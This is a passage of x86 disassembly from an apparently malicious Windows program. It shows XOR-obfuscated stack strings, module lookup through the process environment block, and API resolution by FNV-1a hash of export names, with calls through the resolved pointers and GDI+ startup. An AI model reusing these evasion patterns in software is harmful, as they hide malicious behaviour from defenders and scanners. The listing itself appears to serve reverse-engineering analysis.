mov byte [esp + 0x161], al
mov dl, 3
mov byte [esp + 0x162], cl
mov dh, 0x53
mov cl, byte [esp + 0x160]
mov ah, 0xf
mov byte [esp + 0x11], 0x2d
xor dl, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x39
mov byte [esp + 0x167], al
xor dh, cl
mov al, byte [esp + 0x12]
xor ah, cl
xor al, cl
mov byte [esp + 0x13], 4
mov byte [esp + 0x168], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x165], ch
lea ecx, [esp + 0x161]
mov byte [esp + 0x16a], 0
mov byte [esp + 0x163], dl
mov byte [esp + 0x166], dh
lea edx, [ecx + 1]
mov byte [esp + 0x164], ah
mov byte [esp + 0x169], al
mov byte [esp + 0x16a], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5f00
sub ecx, edx
lea eax, [esp + 0x161]
push ecx
push eax
lea ecx, [esp + 0x498]
call fcn.004b7e50
mov byte [esp + 0x118], 0x1b
mov cl, 0x50
xor cl, byte [esp + 0x118]
mov al, 0x6d
xor al, byte [esp + 0x118]
mov ch, 0x62
mov byte [esp + 0x119], al
mov dl, 0x6c
mov byte [esp + 0x11a], cl
mov dh, 0x54
mov cl, byte [esp + 0x118]
mov ah, 0x43
mov byte [esp + 0x11], 0x2e
xor dl, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x63
xor dh, cl
mov byte [esp + 0x11f], al
mov al, byte [esp + 0x12]
xor ah, cl
xor al, cl
mov byte [esp + 0x11d], ch
lea ecx, [esp + 0x119]
mov byte [esp + 0x121], 0
mov byte [esp + 0x11b], dl
mov byte [esp + 0x11e], dh
lea edx, [ecx + 1]
mov byte [esp + 0x11c], ah
mov byte [esp + 0x120], al
mov byte [esp + 0x121], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5fb7
sub ecx, edx
lea eax, [esp + 0x119]
push ecx
push eax
lea ecx, [esp + 0x498]
call fcn.004b7e50
lea ecx, [esp + 0x490]
call fcn.004b7630
mov cl, 0x43
mov dword [esp + 0x268], 0x35270243
mov dword [esp + 0x26c], 0x702a3322
xor eax, eax
mov dword [esp + 0x270], 0x2f276d71
mov word [esp + 0x274], 0x2f
xor byte [esp + eax + 0x269], cl
inc eax
cmp eax, 0xc
jae 0x4c6026
mov cl, byte [esp + 0x268]
jmp 0x4c6010
mov eax, dword fs:[0x30]
mov byte [esp + 0x275], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x4c60a8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c60a8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xf76e511d
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c609d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c6080
cmp esi, 0xcfa16357
je 0x4c60ac
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c6067
mov eax, dword [eax]
jmp 0x4c6040
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x269]
add eax, edx
push ecx
call eax
mov dword [0x4db878], eax
mov cl, 0x1d
mov byte [esp + 0x16c], 0x4c
mov al, 9
xor al, byte [esp + 0x16c]
mov ch, 0x20
xor cl, byte [esp + 0x16c]
mov dl, 0x21
mov byte [esp + 0x16d], al
mov ah, 2
mov byte [esp + 0x16e], cl
mov dh, 0x22
mov cl, byte [esp + 0x16c]
mov byte [esp + 0x11], 0x1b
xor ch, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x26
mov byte [esp + 0x173], al
xor ah, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x13], 3
mov byte [esp + 0x174], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x171], ch
mov byte [esp + 0x176], 0
lea ecx, [esp + 0x3d8]
mov byte [esp + 0x16f], dl
mov byte [esp + 0x170], ah
mov byte [esp + 0x172], dh
mov byte [esp + 0x175], al
mov byte [esp + 0x176], 0
call fcn.004b8a80
lea ecx, [esp + 0x16d]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6190
sub ecx, edx
lea eax, [esp + 0x16d]
push ecx
push eax
lea ecx, [esp + 0x3e0]
call fcn.004b8710
mov byte [esp + 0xb8], 0x6e
mov cl, 0x56
xor cl, byte [esp + 0xb8]
mov al, 0x17
xor al, byte [esp + 0xb8]
mov ah, 0x57
mov byte [esp + 0xb9], al
mov ch, 0x24
mov byte [esp + 0xba], cl
mov dl, 3
mov cl, byte [esp + 0xb8]
mov dh, 0x2a
mov byte [esp + 0x11], 0x5e
xor dl, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], ah
xor dh, cl
mov byte [esp + 0xbf], al
mov al, byte [esp + 0x12]
xor ah, cl
xor al, cl
mov byte [esp + 0xbd], ch
lea ecx, [esp + 0xb9]
mov byte [esp + 0xc1], 0
mov byte [esp + 0xbb], dl
mov byte [esp + 0xbe], dh
lea edx, [ecx + 1]
mov byte [esp + 0xbc], ah
mov byte [esp + 0xc0], al
mov byte [esp + 0xc1], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6246
sub ecx, edx
lea eax, [esp + 0xb9]
push ecx
push eax
lea ecx, [esp + 0x3e0]
call fcn.004b7e50
mov byte [esp + 0x1f8], 0x1c
mov al, 0x7d
xor al, byte [esp + 0x1f8]
mov cl, 0x4f
xor cl, byte [esp + 0x1f8]
mov ah, 0x77
mov byte [esp + 0x1f9], al
mov ch, 0x52
mov byte [esp + 0x1fa], cl
mov dl, 0x53
mov cl, byte [esp + 0x1f8]
mov dh, 0x6a
mov byte [esp + 0x11], 0x54
xor ah, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x4a
mov byte [esp + 0x1ff], al
xor dl, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x13], 0x69
mov byte [esp + 0x200], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x1fc], ah
mov byte [esp + 0x201], al
lea eax, [esp + 0x1f9]
mov byte [esp + 0x1fd], ch
lea ecx, [esp + 0x3d8]
mov byte [esp + 0x202], 0
push eax
mov byte [esp + 0x1ff], dl
mov byte [esp + 0x202], dh
mov byte [esp + 0x206], 0
call fcn.004b8aa0
test al, al
je 0x4c63de
mov al, 0x6b
mov byte [esp + 0xf4], 0x5e
mov dh, al
mov byte [esp + 0x11], 0x1d
xor al, byte [esp + 0xf4]
mov cl, 0x68
xor cl, byte [esp + 0xf4]
mov ch, 0x24
mov byte [esp + 0xf5], al
mov dl, 0x67
mov al, byte [esp + 0x11]
mov ah, 0x11
mov byte [esp + 0xf6], cl
mov cl, byte [esp + 0xf4]
xor al, cl
mov byte [esp + 0x12], 0x34
xor dl, cl
mov byte [esp + 0xfb], al
mov al, byte [esp + 0x12]
xor ch, cl
xor dh, cl
mov byte [esp + 0xf9], ch
xor ah, cl
mov byte [esp + 0xfd], 0
xor al, cl
mov byte [esp + 0xf7], dl
lea ecx, [esp + 0xf5]
mov byte [esp + 0xfa], dh
mov byte [esp + 0xf8], ah
lea edx, [ecx + 1]
mov byte [esp + 0xfc], al
mov byte [esp + 0xfd], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c63c0
sub ecx, edx
lea eax, [esp + 0xf5]
push ecx
push eax
lea ecx, [esp + 0x3e0]
call fcn.004b7cc0
lea ecx, [esp + 0x3d8]
call fcn.004b7630
movaps xmm0, xmmword [0x4d5ab0]
xor ecx, ecx
movups xmmword [esp + 0x2b0], xmm0
mov word [esp + 0x2d0], 0x4949
movaps xmm0, xmmword [0x4d6980]
movups xmmword [esp + 0x2c0], xmm0
mov byte [esp + 0x2d2], 0
nop dword [eax]
mov al, byte [esp + 0x2b0]
xor byte [esp + ecx + 0x2b1], al
inc ecx
cmp ecx, 0x21
jb 0x4c6420
mov eax, dword fs:[0x30]
mov byte [esp + 0x2d2], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x4c64b8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c64b8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xd4ae9fa3
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c64ad
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c6490
cmp esi, 0x3bbabc75
je 0x4c64bc
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c6477
mov eax, dword [eax]
jmp 0x4c6450
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x2b1]
add eax, edx
push ecx
call eax
mov edx, dword [0x4db86c]
xor edi, edi
mov dword [0x4db87c], eax
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x57fdd48d
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c652d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c6510
cmp edx, 0x481be133
je 0x4c6539
mov edx, dword [0x4db86c]
inc edi
add esi, 4
jmp 0x4c6500
mov eax, dword [esp + 0x1c]
mov edx, dword [0x4db86c]
push 0x104
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x5b4]
push ecx
add eax, edx
push 0
call eax
lea ecx, [esp + 0x3a4]
call fcn.004b8a80
lea ecx, [esp + 0x5b0]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4c6580
sub ecx, edx
lea eax, [esp + 0x5b0]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x3ac]
call fcn.004b85e0
mov edi, dword [esp + 0x3b4]
mov cl, 0x2a
push 0xffffffffffffffff
sub esp, 0x18
mov byte [esp + 0x48], cl
mov al, 0x76
mov byte [esp + 0x4a], 0
xor al, cl
mov byte [esp + 0x4a], 0
mov esi, esp
mov byte [esp + 0x49], al
mov ecx, esi
call fcn.004b8a80
lea ecx, [esp + 0x49]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c65d8
sub ecx, edx
lea eax, [esp + 0x49]
push ecx
push eax
mov ecx, esi
call fcn.004b8710
lea ecx, [esp + 0x350]
call fcn.004c1c80
add esp, 0x18
mov ecx, eax
call fcn.004b7390
push eax
lea ecx, [esp + 0x3ac]
call fcn.004c8050
lea ecx, [esp + 0x283]
inc eax
push ecx
push edi
push eax
lea eax, [esp + 0x3b0]
push eax
lea ecx, [esp + 0x314]
call fcn.004c8190
lea ecx, [esp + 0x3a4]
call fcn.004b7ab0
lea eax, [esp + 0x304]
push eax
lea ecx, [esp + 0x3a8]
call fcn.004c1510
lea ecx, [esp + 0x304]
call fcn.004b7ab0
lea ecx, [esp + 0x334]
call fcn.004b7ab0
lea eax, [esp + 0x282]
push eax
mov eax, dword [esp + 0x3b8]
lea ecx, [esp + 0x2f0]
add eax, 0xfffffffc
push eax
push 0
lea eax, [esp + 0x3b0]
push eax
call fcn.004c8190
mov ecx, 0x4db0e0
call fcn.004b7ab0
lea eax, [esp + 0x2ec]
mov ecx, 0x4db0e0
push eax
call fcn.004c1510
lea ecx, [esp + 0x2ec]
call fcn.004b7ab0
mov edx, dword [0x4db86c]
xor edi, edi
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0xdb01073c
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c6700
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c66e3
cmp edx, 0x7f293cea
je 0x4c670c
mov edx, dword [0x4db86c]
inc edi
add esi, 4
jmp 0x4c66d3
mov eax, dword [esp + 0x1c]
mov edx, dword [0x4db86c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
test eax, eax
je 0x4c674f
push 0
lea ecx, [esp + 0x2d8]
call fcn.004c1b80
push 0x4d8c3c
lea eax, [esp + 0x2d8]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
call fcn.004c4030
call fcn.004c43d0
test eax, eax
jne 0x4c6908
mov edi, dword [0x4db870]
xor edx, edx
mov dword [esp + 0x14], edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0x9488ee7c
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c67ad
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c6790
cmp edx, 0x20ada2b7
je 0x4c67b6
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c6780
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
movaps xmm0, xmmword [0x4d5fa0]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
movzx eax, word [eax + edx*2]
mov dh, 0x79
mov esi, dword [ecx + eax*4]
mov cl, 0xb
mov ch, cl
mov byte [esp + 0x27e], 0
mov dl, cl
mov byte [esp + 0x278], dh
mov al, 0x3c
mov byte [esp + 0x27e], 0
mov ah, 0x16
mov dword [esp + 0x2a4], 0x70223f24
xor cl, dh
mov dword [esp + 0x2a8], 0x35343f3d
xor ch, dh
mov byte [esp + 0x27a], cl
xor al, dh
mov byte [esp + 0x27d], ch
xor dl, dh
mov byte [esp + 0x279], al
xor ah, dh
mov byte [esp + 0x27b], dl
movups xmmword [esp + 0x284], xmm0
add esi, edi
mov byte [esp + 0x27c], ah
movaps xmm0, xmmword [0x4d6510]
xor ecx, ecx
movups xmmword [esp + 0x294], xmm0
mov byte [esp + 0x2ac], 0
nop
mov al, byte [esp + 0x284]
xor byte [esp + ecx + 0x285], al
inc ecx
cmp ecx, 0x27
jb 0x4c6860
push 0x30
lea eax, [esp + 0x27d]
mov byte [esp + 0x2b0], 0
push eax
lea eax, [esp + 0x28d]
push eax
push 0
call esi
mov edi, dword [0x4db87c]
xor edx, edx
mov dword [esp + 0x14], edx
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x6e75a0ed
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c68dd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c68c0
cmp edx, 0x4356dc9e
je 0x4c68e6
inc dword [esp + 0x14]
add esi, 4
jmp 0x4c68b0
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edi
add eax, edi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, edi
call eax
add esp, 4
call fcn.004c9ba0
mov byte [esp + 0xe8], 0xc
mov al, 0x34
xor al, byte [esp + 0xe8]
mov cl, 0x44
xor cl, byte [esp + 0xe8]
mov ch, 0x66
mov byte [esp + 0xe9], al
mov dl, 0x79
mov byte [esp + 0x11], ch
mov ah, 0x59
mov al, byte [esp + 0x11]
mov dh, 0x42
mov byte [esp + 0xea], cl
mov cl, byte [esp + 0xe8]
xor al, cl
mov byte [esp + 0x12], 0x78
mov byte [esp + 0xef], al
xor ch, cl
mov al, byte [esp + 0x12]
xor dl, cl
xor ah, cl
mov byte [esp + 0xed], ch
xor dh, cl
mov byte [esp + 0xf1], 0
xor al, cl
mov byte [esp + 0xeb], dl
lea ecx, [esp + 0x4d8]
mov byte [esp + 0xec], ah
mov byte [esp + 0xee], dh
mov byte [esp + 0xf0], al
mov byte [esp + 0xf1], 0
call fcn.004b8a80
lea ecx, [esp + 0xe9]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c69b1
sub ecx, edx
lea eax, [esp + 0xe9]
push ecx
push eax
lea ecx, [esp + 0x4e0]
call fcn.004b8710
mov byte [esp + 0xdc], 0x23
mov al, 0x79
xor al, byte [esp + 0xdc]
mov cl, 0x16
xor cl, byte [esp + 0xdc]
mov dl, 0x48
mov byte [esp + 0xdd], al
mov ch, 0x64
mov byte [esp + 0xde], cl
mov dh, dl
mov cl, byte [esp + 0xdc]
mov ah, 0x41
mov byte [esp + 0x11], 0x53
xor ch, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x6f
mov byte [esp + 0xe3], al
xor ah, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0xe1], ch
mov byte [esp + 0xe5], 0
lea ecx, [esp + 0x4a8]
mov byte [esp + 0xdf], dl
mov byte [esp + 0xe0], ah
mov byte [esp + 0xe2], dh
mov byte [esp + 0xe4], al
mov byte [esp + 0xe5], 0
call fcn.004b8a80
lea ecx, [esp + 0xdd]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6a74
sub ecx, edx
lea eax, [esp + 0xdd]
push ecx
push eax
lea ecx, [esp + 0x4b0]
call fcn.004b8710
mov byte [esp + 0x1d4], 0x7a
mov cl, 0x29
xor cl, byte [esp + 0x1d4]
mov al, 0x36
xor al, byte [esp + 0x1d4]
mov ch, 0xd
mov byte [esp + 0x1d5], al
mov dl, 0x28
mov byte [esp + 0x1d6], cl
mov dh, 0x4c
mov cl, byte [esp + 0x1d4]
mov ah, 0x33
mov byte [esp + 0x11], 0x37
xor dl, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x22
mov byte [esp + 0x1db], al
xor dh, cl
mov al, byte [esp + 0x12]
xor ah, cl
xor al, cl
mov byte [esp + 0x13], 0xf
mov byte [esp + 0x1dc], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x1b], 0x14
mov byte [esp + 0x1dd], al
mov al, byte [esp + 0x1b]
xor al, cl
mov byte [esp + 0x1d9], ch
lea ecx, [esp + 0x1d5]
mov byte [esp + 0x1df], 0
mov byte [esp + 0x1d7], dl
mov byte [esp + 0x1da], dh
lea edx, [ecx + 1]
mov byte [esp + 0x1d8], ah
mov byte [esp + 0x1de], al
mov byte [esp + 0x1df], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6b50
sub ecx, edx
lea eax, [esp + 0x1d5]
push ecx
push eax
lea ecx, [esp + 0x4b0]
call fcn.004b7e50
mov al, 0x28
mov byte [esp + 0x21c], 0x45
mov ch, al
mov byte [esp + 0x11], 0x2d
xor al, byte [esp + 0x21c]
mov cl, 0x77
xor cl, byte [esp + 0x21c]
mov dl, 0xb
mov byte [esp + 0x21d], al
mov ah, dl
mov al, byte [esp + 0x11]
xor dh, dh
mov byte [esp + 0x21e], cl
mov cl, byte [esp + 0x21c]
xor al, cl
mov byte [esp + 0x12], 1
mov byte [esp + 0x223], al
xor ah, cl
mov al, byte [esp + 0x12]
xor ch, cl
xor al, cl
mov byte [esp + 0x13], 0x16
mov byte [esp + 0x224], al
xor dl, cl
mov al, byte [esp + 0x13]
xor dh, cl
xor al, cl
mov byte [esp + 0x1b], 0x27
mov byte [esp + 0x225], al
mov al, byte [esp + 0x1b]
xor al, cl
mov byte [esp + 0x220], ah
mov byte [esp + 0x226], al
lea eax, [esp + 0x21d]
mov byte [esp + 0x221], ch
lea ecx, [esp + 0x4a8]
push eax
mov byte [esp + 0x223], dl
mov byte [esp + 0x226], dh
mov byte [esp + 0x22b], 0
call fcn.004b8aa0
test al, al
je 0x4c6cad
mov byte [esp + 0x64], 0x1f
mov al, 0x65
xor al, byte [esp + 0x64]
mov cl, 0x2d
mov byte [esp + 0x65], al
mov dl, 0x79
mov al, byte [esp + 0x64]
mov ch, 0x49
mov dh, 0x70
mov byte [esp + 0x11], 0x77
xor cl, al
mov byte [esp + 0x6c], 0
xor dl, al
mov byte [esp + 0x66], cl
xor ch, al
mov byte [esp + 0x67], dl
xor dh, al
mov byte [esp + 0x69], ch
mov ah, 0x50
mov byte [esp + 0x6a], dh
xor ah, al
mov byte [esp + 0x6c], 0
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x65]
xor al, byte [esp + 0x64]
lea edx, [ecx + 1]
mov byte [esp + 0x68], ah
mov byte [esp + 0x6b], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6c92
sub ecx, edx
lea eax, [esp + 0x65]
push ecx
push eax
lea ecx, [esp + 0x4e0]
call fcn.004b7e50
lea ecx, [esp + 0x4a8]
call fcn.004b7630
lea ecx, [esp + 0x4d8]
call fcn.004b7630
push 0x4a91c0
lea ecx, [esp + 0x3d4]
call fcn.004b8d30
lea ecx, [esp + 0x3d0]
call fcn.004a8760
push 0
lea eax, [esp + 0x3c0]
mov dword [esp + 0x3c0], 1
push eax
lea eax, [esp + 0x3d4]
mov dword [esp + 0x3c8], 0
push eax
mov dword [esp + 0x3d0], 0
mov dword [esp + 0x3d4], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
call fcn.004b9a80
mov byte [esp + 0x70], 0x23
mov al, 0x5a
xor al, byte [esp + 0x70]
mov cl, 0x16
mov byte [esp + 0x71], al
mov dl, 0x6a
mov al, byte [esp + 0x70]
mov ah, 0x74
xor cl, al
mov byte [esp + 0x11], 0x69
mov ch, 0x68
mov byte [esp + 0x72], cl
xor ch, al
mov byte [esp + 0x78], 0
mov dh, 0x6d
mov byte [esp + 0x75], ch
xor dl, al
mov byte [esp + 0x78], 0
xor ah, al
mov byte [esp + 0x73], dl
xor dh, al
mov byte [esp + 0x74], ah
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x4f0]
xor al, byte [esp + 0x70]
mov byte [esp + 0x76], dh
mov byte [esp + 0x77], al
call fcn.004b8a80
lea ecx, [esp + 0x71]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6d94
sub ecx, edx
lea eax, [esp + 0x71]
push ecx
push eax
lea ecx, [esp + 0x4f8]
call fcn.004b8710
mov byte [esp + 0x178], 0x53
mov al, 0x3c
xor al, byte [esp + 0x178]
mov cl, 0x2a
xor cl, byte [esp + 0x178]
mov ah, 0x21
mov byte [esp + 0x179], al
mov ch, ah
mov byte [esp + 0x17a], cl
mov dl, 0x19
mov cl, byte [esp + 0x178]
mov dh, 0x27
mov byte [esp + 0x11], 0x30
xor ch, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x1f
mov byte [esp + 0x17f], al
xor ah, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x13], 0x25
mov byte [esp + 0x180], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x17d], ch
mov byte [esp + 0x182], 0
lea ecx, [esp + 0x430]
mov byte [esp + 0x17b], dl
mov byte [esp + 0x17c], ah
mov byte [esp + 0x17e], dh
mov byte [esp + 0x181], al
mov byte [esp + 0x182], 0
call fcn.004b8a80
lea ecx, [esp + 0x179]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6e66
sub ecx, edx
lea eax, [esp + 0x179]
push ecx
push eax
lea ecx, [esp + 0x438]
call fcn.004b8710
mov byte [esp + 0x1e0], 0x1e
mov cl, 0x7f
xor cl, byte [esp + 0x1e0]
mov al, 0x4c
xor al, byte [esp + 0x1e0]
mov dl, 0x6e
mov byte [esp + 0x1e1], al
mov ah, dl
mov byte [esp + 0x1e2], cl
mov ch, 0x48
mov cl, byte [esp + 0x1e0]
mov dh, 0x5f
mov byte [esp + 0x11], 0x5c
xor dl, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x1e7], al
xor dh, cl
mov al, byte [esp + 0x12]
xor ah, cl
xor al, cl
mov byte [esp + 0x13], 0x77
mov byte [esp + 0x1e8], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x1b], 0x2e
mov byte [esp + 0x1e9], al
mov al, byte [esp + 0x1b]
xor al, cl
mov byte [esp + 0x1e5], ch
lea ecx, [esp + 0x1e1]
mov byte [esp + 0x1eb], 0
mov byte [esp + 0x1e3], dl
mov byte [esp + 0x1e6], dh
lea edx, [ecx + 1]
mov byte [esp + 0x1e4], ah
mov byte [esp + 0x1ea], al
mov byte [esp + 0x1eb], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6f41
sub ecx, edx
lea eax, [esp + 0x1e1]
push ecx
push eax
lea ecx, [esp + 0x438]
call fcn.004b7e50
mov byte [esp + 0x190], 0x67
mov al, 1
xor al, byte [esp + 0x190]
mov cl, 0x50
xor cl, byte [esp + 0x190]
mov ah, 0x30
mov byte [esp + 0x191], al
mov ch, 0x2e
mov byte [esp + 0x192], cl
mov dl, 0x3e
mov cl, byte [esp + 0x190]
mov dh, 0x3d
mov byte [esp + 0x11], 0x15
xor ah, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x36
mov byte [esp + 0x197], al
xor dl, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x194], ah
mov byte [esp + 0x198], al
lea eax, [esp + 0x191]
mov byte [esp + 0x195], ch
lea ecx, [esp + 0x430]
mov byte [esp + 0x199], 0
push eax
mov byte [esp + 0x197], dl
mov byte [esp + 0x19a], dh
mov byte [esp + 0x19d], 0
call fcn.004b8aa0
test al, al
je 0x4c70d3
mov byte [esp + 0x184], 0x7c
mov cl, 0x18
xor cl, byte [esp + 0x184]
mov al, 0x4e
xor al, byte [esp + 0x184]
mov ch, 0x14
mov byte [esp + 0x185], al
mov dl, 0x29
mov byte [esp + 0x186], cl
mov dh, 0xa
mov cl, byte [esp + 0x184]
mov ah, 0x3f
mov byte [esp + 0x11], 0x26
xor dl, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0xf
mov byte [esp + 0x18b], al
xor dh, cl
mov al, byte [esp + 0x12]
xor ah, cl
xor al, cl
mov byte [esp + 0x13], 9
mov byte [esp + 0x18c], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x189], ch
lea ecx, [esp + 0x185]
mov byte [esp + 0x18e], 0
mov byte [esp + 0x187], dl
mov byte [esp + 0x18a], dh
lea edx, [ecx + 1]
mov byte [esp + 0x188], ah
mov byte [esp + 0x18d], al
mov byte [esp + 0x18e], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c70b5
sub ecx, edx
lea eax, [esp + 0x185]
push ecx
push eax
lea ecx, [esp + 0x4f8]
call fcn.004b7e50
lea ecx, [esp + 0x430]
call fcn.004b7630
lea ecx, [esp + 0x4f0]
call fcn.004b7630
mov al, 0x32
mov byte [esp + 0x1b0], 0x76
mov dl, al
mov byte [esp + 0x11], 0x18
xor al, byte [esp + 0x1b0]
mov cl, 0x45
xor cl, byte [esp + 0x1b0]
mov ch, 0x21
mov byte [esp + 0x1b1], al
sub esp, 0x18
mov al, byte [esp + 0x29]
mov ah, 0x56
mov byte [esp + 0x1ca], cl
mov dh, 0x1f
mov cl, byte [esp + 0x1c8]
mov esi, esp
xor al, cl
mov byte [esp + 0x2a], 0x12
mov byte [esp + 0x1cf], al
xor ch, cl
mov al, byte [esp + 0x2a]
xor dl, cl
